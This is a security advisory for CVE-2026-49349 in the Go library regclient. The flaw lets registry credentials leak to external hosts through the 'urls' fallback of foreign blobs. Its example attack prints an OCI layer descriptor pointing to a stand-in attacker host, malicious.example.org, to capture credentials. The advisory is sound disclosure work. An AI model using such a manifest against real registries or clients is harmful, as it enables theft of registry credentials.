PT-2026-53024 · Go · Github.Com/Regclient/Regclient

Published

2026-06-26

·

Updated

2026-06-26

·

CVE-2026-49349

CVSS v3.1

6.8

Medium

VectorAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.

Example attack

A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
json
{
 "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
 "digest": "sha256:...",
 "size": 1024,
 "urls": ["https://malicious.example.org/blobs/sha256/..."]
}
When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.

Timeline

  • 2026-05-25: Advisory submitted
  • 2026-05-26: Fix released

Credit

Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

Fix

Insufficiently Protected Credentials

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Weakness Enumeration

Related Identifiers

CVE-2026-49349
GHSA-QVQC-4C52-X6QP

Affected Products

Github.Com/Regclient/Regclient